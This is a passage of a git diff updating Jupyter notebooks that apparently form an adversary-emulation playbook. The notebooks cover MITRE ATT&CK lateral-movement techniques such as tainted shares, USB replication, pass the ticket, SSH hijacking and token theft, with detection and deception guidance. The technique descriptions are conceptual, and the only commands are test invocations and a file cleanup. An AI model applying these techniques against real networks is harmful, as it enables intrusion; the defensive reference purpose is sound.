[Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)" - }, - { - "cell_type": "markdown", - "id": "facafde1", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ee5f6d35", - "metadata": {}, - "source": "## Detection\nEnsure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1080.ipynb b/playbook/tactics/lateral-movement/T1080.ipynb index 56079cc0..aff090d5 100644 --- a/playbook/tactics/lateral-movement/T1080.ipynb +++ b/playbook/tactics/lateral-movement/T1080.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "c72cb6a0", + "id": "6b3eb3ab", "metadata": {}, "source": "# T1080 - Taint Shared Content\n\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS." }, { "cell_type": "markdown", - "id": "1693b989", + "id": "2b46b0d8", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "a2c0bca0", + "id": "5a6480d8", "metadata": {}, "source": "## Detection\nProcesses that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content." }, { "cell_type": "markdown", - "id": "e411f8ad", + "id": "03d43205", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to introduce decoy information, users, systems, etc. to influence an adversary's future actions.\n#### Use Case\nA defender could seed decoy network shares within an adversary engagement network to see if an adversary uses them for payload delivery or lateral movement.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1091.ipynb b/playbook/tactics/lateral-movement/T1091.ipynb index 83a3c384..e5480805 100644 --- a/playbook/tactics/lateral-movement/T1091.ipynb +++ b/playbook/tactics/lateral-movement/T1091.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c563dc56", + "id": "f20d9e75", "metadata": {}, "source": "# T1091 - Replication Through Removable Media\nAdversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled)." }, { "cell_type": "markdown", - "id": "8caea55b", + "id": "d14505c5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b206c6c3", + "id": "e69e52bf", "metadata": {}, "source": [ "### Atomic Test #1 - USB Malware Spread Simulation", @@ -27,34 +27,34 @@ { "cell_type": "code", "execution_count": null, - "id": "dfe805c4", + "id": "ceca4af4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1091 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f7367f74", + "id": "b83876c8", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nRemove-Item -Path $Drive\\T1091Test1.txt -Force -ErrorAction Ignore\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b404de01", + "id": "cbbd92fb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1091 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "57424333", + "id": "5ff7c181", "metadata": {}, "source": "## Detection\nMonitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery." }, { "cell_type": "markdown", - "id": "98231db1", + "id": "ffb67698", "metadata": {}, "source": "\n## Shield Active Defense\n### System Activity Monitoring \n Collect system activity logs which can reveal adversary activity. \n\n Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.\n#### Opportunity\nThere is an opportunity to deploy a tripwire that triggers an alert when an adversary touches a network resource or uses a specific technique.\n#### Use Case\nA defender can monitor systems for the use of removeable media.\n#### Procedures\nEnsure that systems capture and retain common system level activity artifacts that might be produced.\nMonitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.\n" } @@ -62,13 +62,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1097.ipynb b/playbook/tactics/lateral-movement/T1097.ipynb deleted file mode 100644 index c302ed71..00000000 --- a/playbook/tactics/lateral-movement/T1097.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6ee70723", - "metadata": {}, - "source": "# T1097 - Pass the Ticket\nPass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)" - }, - { - "cell_type": "markdown", - "id": "b4dee84c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "c60b55ba", - "metadata": {}, - "source": "## Detection\nAudit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1175.ipynb b/playbook/tactics/lateral-movement/T1175.ipynb deleted file mode 100644 index 5a5ed1d4..00000000 --- a/playbook/tactics/lateral-movement/T1175.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "801a6a04", - "metadata": {}, - "source": "# T1175 - Component Object Model and Distributed COM\n**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document." - }, - { - "cell_type": "markdown", - "id": "33431d5b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "d8a23f79", - "metadata": {}, - "source": "## Detection\nMonitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1184.ipynb b/playbook/tactics/lateral-movement/T1184.ipynb deleted file mode 100644 index b782d955..00000000 --- a/playbook/tactics/lateral-movement/T1184.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5eb70338", - "metadata": {}, - "source": "# T1184 - SSH Hijacking\nSecure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078)." - }, - { - "cell_type": "markdown", - "id": "a318b40f", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "5c195535", - "metadata": {}, - "source": "## Detection\nUse of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1210.ipynb b/playbook/tactics/lateral-movement/T1210.ipynb index e5241982..0070d6b8 100644 --- a/playbook/tactics/lateral-movement/T1210.ipynb +++ b/playbook/tactics/lateral-movement/T1210.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "b8e0cfaf", + "id": "e2475d53", "metadata": {}, "source": "# T1210 - Exploitation of Remote Services\nAdversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well." }, { "cell_type": "markdown", - "id": "b7463ce0", + "id": "20dfc84d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2f934339", + "id": "de53cfcc", "metadata": {}, "source": "## Detection\nDetecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system." }, { "cell_type": "markdown", - "id": "fd9117a0", + "id": "9e16d82c", "metadata": {}, "source": "\n## Shield Active Defense\n### Application Diversity \n Present the adversary with a variety of installed applications and services. \n\n Application diversity is presenting multiple software targets to the adversary. On a single target system, defenders can configure multiple different services or user software applications. On a target network, defenders can present systems with a variety of operating systems, operating system versions, applications, and services.\n#### Opportunity\nThere is an opportunity to provide a variety of applications to an adversary to see what things an adversary prefers or to influence their operations.\n#### Use Case\nA defender can stand up decoy systems or processes using a wide array of applications. These applications can be hardened to test an adversary's capabilities, or easily exploited to entice an adversary to move in that direction.\n#### Procedures\nUse a mix of vulnerable and nonvulnerable software on a system to allow you to see what exploits the adversary leverages in their attacks.\nInstall Anti-virus or other end-point detection tools on systems to see if an adversary takes note of them and if so, how they react.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1506.ipynb b/playbook/tactics/lateral-movement/T1506.ipynb deleted file mode 100644 index aca979aa..00000000 --- a/playbook/tactics/lateral-movement/T1506.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "c6eb8837", - "metadata": {}, - "source": "# T1506 - Web Session Cookie\nAdversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) " - }, - { - "cell_type": "markdown", - "id": "c3c6fbfa", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "5b192662", - "metadata": {}, - "source": "## Detection\nMonitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1527.ipynb b/playbook/tactics/lateral-movement/T1527.ipynb deleted file mode 100644 index bedaed17..00000000 --- a/playbook/tactics/lateral-movement/T1527.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "0917c3bb", - "metadata": {}, - "source": "# T1527 - Application Access Token\nAdversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n" - }, - { - "cell_type": "markdown", - "id": "eef60762", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "9f2ae70e", - "metadata": {}, - "source": "## Detection\nMonitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/lateral-movement/T1534.ipynb b/playbook/tactics/lateral-movement/T1534.ipynb index 5839688f..45638f35 100644 --- a/playbook/tactics/lateral-movement/T1534.ipynb +++ b/playbook/tactics/lateral-movement/T1534.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "920936bd", + "id": "94ad0f5d", "metadata": {}, "source": "# T1534 - Internal Spearphishing\nAdversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged campaign where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017)\n\nAdversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.\n\nThere have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the campaign and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)" }, { "cell_type": "markdown", - "id": "f81034d3", + "id": "761eb0fa", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "5a093b3e", + "id": "4e0fec1b", "metadata": {}, "source": "## Detection\nNetwork intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)" }, { "cell_type": "markdown", - "id": "9c4c82b0", + "id": "24810256", "metadata": {}, "source": "\n## Shield Active Defense\n### User Training \n Train users to detect malicious intent or activity, how to report it, etc. \n\n User training involves teaching end users to be human sensors who know how to recognize cyber threats and the procedures for reporting them. Users can be effective sensors for social engineering attempts, phishing email detection, as well as other cyber threats.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA program to train users to report emails that they did not send but appear in their sent folder.\n#### Procedures\nTrain users to immediately report suspicious emails. Those emails could then be used for malware detonation or adversary engagement purposes.\nTrain users to report potentially compromised devices so they can be isolated or migrated into deception networks.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/lateral-movement/T1550.001.ipynb b/playbook/tactics/lateral-movement/T1550.001.ipynb index a7b90539..fd23e166 100644 --- a/playbook/tactics/lateral-movement/T1550.001.ipynb +++ b/playbook/tactics/lateral-movement/T1550.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2e8714c9", + "id": "a4d5c2f6", "metadata": {}, - "source": "# T1550.001 - Application Access Token\nAdversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow." + "source": "# T1550.001 - Application Access Token\nAdversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS 